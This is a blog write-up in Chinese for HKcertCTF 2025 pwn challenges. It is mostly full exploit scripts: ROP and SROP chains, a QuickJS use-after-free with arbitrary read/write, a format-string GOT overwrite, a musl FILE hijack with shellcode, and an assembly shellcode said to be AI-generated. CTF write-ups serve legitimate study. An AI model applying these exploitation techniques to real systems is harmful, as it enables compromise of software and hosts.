hkcertctf-2025

hkcertctf-2025

InkeyP Lv3

HKcertCTF 2025 WP

a_strange_rop

负数溢出越界写,rop直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
from pwncli import *
import re

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
# addr = ''
# ip, port = re.split(r'[\s:]+', addr)
gift.io = remote("pwn-3a81ecda3d.challenge.xctf.org.cn", 9999, ssl=True)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
b *0x4014B7
c
'''
ru(b'Let\'s do some easy math problems.\n')
result = []
for i in range(10):
msg = ru(b'=\n').decode()
match = re.search(r'(\d+)\s*\+\s*(\d+)', msg)
if match:
result.append(int(match.group(1)) + int(match.group(2)))

CG.set_find_area(True, False)
rdi = CG.pop_rdi_ret()
ret = CG.ret()

result = [0x404078, ret, gift.elf.sym.system]
result += [0] * (10 - len(result))
for i in range(10):
sla(b'Question Number:', str(i - 0x2))
sla(b'Result:', str(result[i]))
launch_gdb(cmd)
sla(b'Question Number:', str(-0x3))
sla(b'Result:', str(rdi))



ia()

piano

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
diff --git a/quickjs.c b/quickjs.c
index 6f461d6..98d0cbe 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -18123,15 +18123,14 @@ static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj,
}
ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1],
ctx->global_obj, JS_PROP_THROW_STRICT);
- sp--;
if (ret < 0)
goto exception;
}
} else {
put_var_ok:
set_value(ctx, var_ref->pvalue, sp[-1]);
- sp--;
}
+ sp--;
}
BREAK;
CASE(OP_get_loc):

将sp–操作移到了外面,在JS_SetPropertyInternal抛出异常时,不会执行sp–,导致uaf

uaf原语

1
2
3
4
5
6
7
8
9
10
11
12
13
Object.defineProperty(globalThis, "x", {
set: function (v) {
throw "QJX";
}
});

function uaf(a) {
try {
x = a;
} catch (e) {
// print("Caught:", e);
}
}

利用思路是通过uaf可以任意伪造JSObject,但是最开始没有地址,所以选择伪造 JSString,越界读来获得地址

拿到地址后,直接伪造JSArrayBuffer即可任意读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
Object.defineProperty(globalThis, "x", {
set: function (v) {
throw "QJX";
}
});

function uaf(a) {
try {
x = a;
} catch (e) {
// print("Caught:", e);
}
}

objs = [];
for (let i = 0; i < 5; i++) {
objs.push({ a: 1 });
}

var oob_str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ";

var asdf = new Uint32Array(2);
asdf[0] = 0x1337;
asdf[1] = 0x1337;

Math.min(oob_str);
Math.min(asdf);

uaf(oob_str);
uaf(oob_str);

objs[0] = null;
objs[1] = null;

uaf_str_arr = new Uint32Array(18);
uaf_str_arr[3] = 0x13371337;
uaf_str_arr[0] = 2; // large refcount to avoid it getting freed by gc
uaf_str_arr[1] = 0x10000000; // huge length
uaf_str_arr[2] = 0x497f93b1; // some metadata I copied from original 'str'
print("[+] oob string length: " + oob_str.length);

let read_dword = (offset) => {
let result = 0;
for (let i = 3; i >= 0; i--) {
result = (result << 8) | oob_str.charCodeAt(offset + i);
}
return result >>> 0;
}

function read64(offset) {
let leak_low = read_dword(offset);
let leak_high = read_dword(offset + 4);
return (BigInt(leak_high) << 32n) + BigInt(leak_low);
}

// for (let i = 0; i < 300; i++) {
// let heap_leak = read64(i * 8);
// print("[*] Index " + i + " : 0x" + heap_leak.toString(16))
// }

let heap_base = ((read64(0) - 0x1d000n) & (~0xfffn)) - 0x1000n;
let offset = read64(0) - heap_base;
print("[+] heap base: " + "0x" + heap_base.toString(16))

let stack = (read64(297 * 8));
// let stack = (read64(291 * 8)) & (~0xfffn);
print("[+] stack: " + "0x" + stack.toString(16));

let libc_base = (read64(716 * 8)) - 0x203b00n;
print("[+] libc base: " + "0x" + libc_base.toString(16));

// console.log("offset: 0x" + offset.toString(16));
let tmp1 = new ArrayBuffer(0x810);
let tmp2 = new ArrayBuffer(0x80);
let tmp3 = new ArrayBuffer(0x80);
let tmp4 = new ArrayBuffer(0x80);
let tmp5 = new ArrayBuffer(0x80);
uaf(tmp2);
uaf(tmp3);
uaf(tmp4);
uaf(tmp5);
// console.log("buff");
let ab1 = new ArrayBuffer(0x48);
let arr1 = new BigUint64Array(ab1);
let arr2 = new BigUint64Array(tmp1);
// ab1[0] = 0x12345679n;
arr1[0] = 0x1d014000000003n;
arr1[4] = heap_base + offset - 0x228n;
arr1[5] = heap_base + offset + 0x1f8n;
arr1[6] = heap_base + offset + 0x2f8n;
arr1[7] = stack + 0xa8n;
arr1[8] = 0x2228n;
let libc = tmp4[0] - 0xaddaen;
arr1[7] = stack - 0xa98n - 0x10n + 0x1030n;
tmp4[0] = libc + 0x10f78bn;
tmp4[1] = libc + 0x1cb42fn;
tmp4[2] = libc + 0x2882fn;
tmp4[3] = libc + 0x58750n;
arr1[7] = stack - 0xa98n - 0x10n;
console.log("libc: 0x" + libc.toString(16));
// console.log("stack: 0x" + stack.toString(16));
tmp4[0] = libc + 0x11ad95n;
console.log("END");

tips:

这题的断点调试可以将断点打在write,利用console.log来当断点

stop

ret2syscall srop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
# addr = ''
# ip, port = re.split(r'[\s:]+', addr)
gift.io = remote("pwn-804ad93f56.challenge.xctf.org.cn", 9999, ssl=True)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
b *0x4012D3
c
'''

ru(b'hey hey what are you doing here?\n')
s(b'a' * 0x50)
ru(b'I say STOP doing this!\n')
payload = b'a' * 0x70 + p64(0x404800) + p64(0x401284)
s(payload.ljust(0x200, b'\x00'))

syscall = 0x4012FA
read_ = 0x4012B8

sig = SigreturnFrame()
sig.rax = 10
sig.rdi = 0x404000
sig.rsi = 0x2000
sig.rdx = 0x7
sig.rsp = 0x404900
sig.rip = syscall

launch_gdb(cmd)
ru(b'hey hey what are you doing here?\n')
s(b'a' * 0x50)
ru(b'I say STOP doing this!\n')
s((b'a' * 0x70 + p64(0x404808) + p64(read_) + p64(syscall) + bytes(sig) + p64(0x404918) + ShellcodeMall.amd64.cat_flag).ljust(0x200, b'\x00'))

s(b'a' * 15)

ia()

nofile

fmt dump下来elf,然后打got改成后门

exp from qanux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

# r=process('./pwn')
r = remote("pwn-7cae93bc7a.challenge.xctf.org.cn", 9999, ssl=True)
context(arch='amd64', os='linux', log_level='debug')
elf = ELF("./pwn")

begin = 0x500000
bin = b''


def leak(addr):
payload = b'%7$sdump' + p64(addr) # dump是用来补齐八字节的
r.sendlineafter(b'> ', payload)
data = r.recvuntil(b'dump', drop=True)
return data


r.recvuntil('> ')
r.sendline("%51$p")
# r.recvuntil('> ')
# r.sendline("%28$p")
r.recvuntil('0x')
begin = int(r.recvuntil('\n', drop=True), 16) - 0x1248
elf_base = begin

# try:
# while True:
# data=leak(begin)
# begin+=len(data)
# bin+=data
# if len(data)==0:
# begin+=1
# bin+=b'\x00'

# except:
# log.success("finish")
# finally:
# log.success(len(bin))
# with open('dump_binary','wb') as f:
# f.write(bin)

backdoor = elf_base + 0x12A1
printf_got = elf.got['printf']
r.recvuntil('> ')
payload = fmtstr_payload(6, {elf_base + elf.got['read']: backdoor})
r.sendline(payload)
# print(hex(elf.got['printf']))

# print(hex(backdoor))
# gdb.attach(r)

r.interactive()

filesystem

filesystem revenge

使用""绕过,"f""lag"==flag

compress

先利用show泄露地址,负数溢出越界写,写stdin结构体,打musl的iofile,利用gadget来rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
# addr = ''
# ip, port = re.split(r'[\s:]+', addr)
gift.io = remote("pwn-a5be9f1fb2.challenge.xctf.org.cn", 9999, ssl=True)
else:
gift.io = process(['./libc.so', elf_path])
# gift.io = process(elf_path, env={"LD_PRELOAD": "./libc.so"})
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()


def add(off, data):
sla(b'>>', b'1')
sla(b'Please input the offset:\n', str(off))
sa(b'Please input the Content:\n', data)


def show():
sla(b'>>', b'2')


cmd = '''
# brva 0xA9F
# brva 0xCB7
brva 0x4951A libc.so
c
'''

show()
libc_base = u64_ex(rl()[:-1]) - 0x292E38 - 0x18
set_current_libc_base_and_log(libc_base)
heap_base = libc_base + 0x295400

launch_gdb(cmd)
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx = CG.pop_rdx_ret()
ret = CG.ret()
add_rsp_30 = libc_base + 0x36738 # add rsp, 0x30; ret;
add_rsp_1f8 = libc_base + 0x5216F # add rsp, 0x1f8; ret;
stdout = libc_base + 0x292300
stdin = libc_base + 0x292200
stack_pivot = libc_base + 0x4951A # mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
leak_ex2(stdout)

fake_file = b""
fake_file += b"/bin/sh".ljust(8, b'\x00') # flags
fake_file += p64(0) # rpos
fake_file += p64(0) # rend
fake_file += p64(0) # close
fake_file += p64(0) # wend
fake_file += p64(0x114514) # wpos
fake_file += p64(stdin + 0x90) # mustbezero_1
fake_file += p64(ret) # wbase
fake_file += p64(0) # read
fake_file += p64(stack_pivot) # write
fake_file = fake_file.ljust(0x90, b'\x00') # lock = 0
fake_file += p64(add_rsp_1f8)
fake_file = fake_file.ljust(0x100, b'\x00')
# fake_file += b"B" * 0xF8
# fake_file += b"X" * 8
fake_file += flat(
[0x45, 0, 0, libc_base + 0x4A957, libc_base + 0x2939A8, libc_base + 0x2939A8, 0, libc_base + 0x2939A80, libc_base + 0x4AAC3, libc_base + 0x4AABB, libc_base + 0x2939A8]
)
fake_file = fake_file.ljust(0x1F8 + 0x98, b'\x00')
fake_file += flat([rdi, libc_base + 0x292000, rsi, 0x21000, rdx, 7, libc.sym.mprotect, stdin + 0x1F8 + 0x98 + 0x40])
fake_file += ShellcodeMall.amd64.cat_flag

add(stdin - heap_base, b'a' * 0x40 + fake_file)

# sla(b'>>', b'4')

ia()

在选择method有负数溢出,将其改成got[1],然后触发hidden method即可秒杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
from pwncli import *
import random
import string

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
# addr = ''
# ip, port = re.split(r'[\s:]+', addr)
gift.io = remote("pwn-79c3285b55.challenge.xctf.org.cn", 9999, ssl=True)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

username = ''.join(random.choices(string.ascii_lowercase, k=5)).encode()
sla(b'login:', username)


def hack(io, use_hidden):
global win
io.sendlineafter(b'choice>> ', b'1')
if use_hidden:
io.sendlineafter(b'use hiden methods?(1:yes/0:no):', b'1')
else:
io.sendlineafter(b'use hiden methods?(1:yes/0:no):', b'0')
if b'you win!\n' in io.recvline():
if b'we will remember you forever!\n' in io.recvline():
win = False


def run_away(io):
io.sendlineafter(b'choice>> ', b'2')


def change(io, idx):
io.sendlineafter(b'choice>> ', b'3')
io.sendlineafter(b'choice>> ', str(idx))


cmd = '''
b *0x402064
# change skill
c
'''
launch_gdb(cmd)
# for i in range(0x100):
# run_away(gift.io)
change(gift.io, -0x36)
win = True
while win:
hack(gift.io, use_hidden=True)
ru(b'what\'s your name:')
s(b'a' * 0x40)


ia()

childcode

利用imul清空寄存器

dec eax控制rax

xchg dword ptr fs:[rcx], eax``xchg dword ptr fs:[rbp], edi控制rdi

cmovno是条件mov,可以直接用来充当mov

思路是先用shmget``shmat来分配一段rw地址作为栈和bss

然后openat``readv``writevorw

这是GPT5 pro思考一个半小时出的

仅需两句提示词

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
imul edi, edi, 0
mov esi, 0x5000
imul edx, edx, 0x28
imul eax, ebx, 0
add eax, 0x1e
dec eax
syscall
mov ecx, 0
xchg dword ptr fs:[rcx], eax
imul ebp, ebx, 0
xchg dword ptr fs:[rbp], edi
mov esi, 0x50505000
imul edx, edx, 0
imul eax, ebx, 0
add eax, 0x1e
syscall
mov ecx, 0x5050a000
and edx, edx
cmovno esp, ecx
imul edi, edi, 0
imul eax, ebx, 0
add eax, 5
dec eax
dec eax
dec eax
dec eax
push rax
pop rdx
imul eax, ebx, 0
add eax, 0x50
push rax
imul eax, ebx, 0
add eax, 0x50505000
push rax
and edx, edx
cmovno ebx, esp
cmovno eax, ebx
cmovno esi, eax
imul eax, ebx, 0
add eax, 0x14
dec eax
syscall
mov ecx, 0x5050a000
and edx, edx
cmovno esp, ecx
imul eax, ebx, 0
sub eax, 0x64
push rax
pop rdi
mov esi, 0x50505000
imul edx, edx, 0
mov ecx, 0xff
and edx, edx
cmovno esp, ecx
cmovno ebx, esp
inc ebx
inc ebx
and edx, edx
cmovno eax, ebx
mov ecx, 0x5050a000
and edx, edx
cmovno esp, ecx
syscall
push rax
pop rdi
mov ecx, 0x5050a000
and edx, edx
cmovno esp, ecx
imul eax, ebx, 0
add eax, 5
dec eax
dec eax
dec eax
dec eax
push rax
pop rdx
imul eax, ebx, 0
add eax, 0x500
push rax
imul eax, ebx, 0
add eax, 0x50505500
push rax
and edx, edx
cmovno ebx, esp
cmovno eax, ebx
cmovno esi, eax
imul eax, ebx, 0
add eax, 0x14
dec eax
syscall
and edx, edx
cmovno edi, edx
push rax
imul eax, ebx, 0
add eax, 0x50505500
push rax
and edx, edx
cmovno ebx, esp
cmovno eax, ebx
cmovno esi, eax
imul eax, ebx, 0
add eax, 0x14
syscall
imul edi, edi, 0
imul eax, ebx, 0
add eax, 0x3c
syscall

RANK

  • 标题: hkcertctf-2025
  • 作者: InkeyP
  • 创建于 : 2025-12-22 09:03:56
  • 更新于 : 2025-12-22 09:30:45
  • 链接: https://blog.inkey.top/202512/22/hkcertctf-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论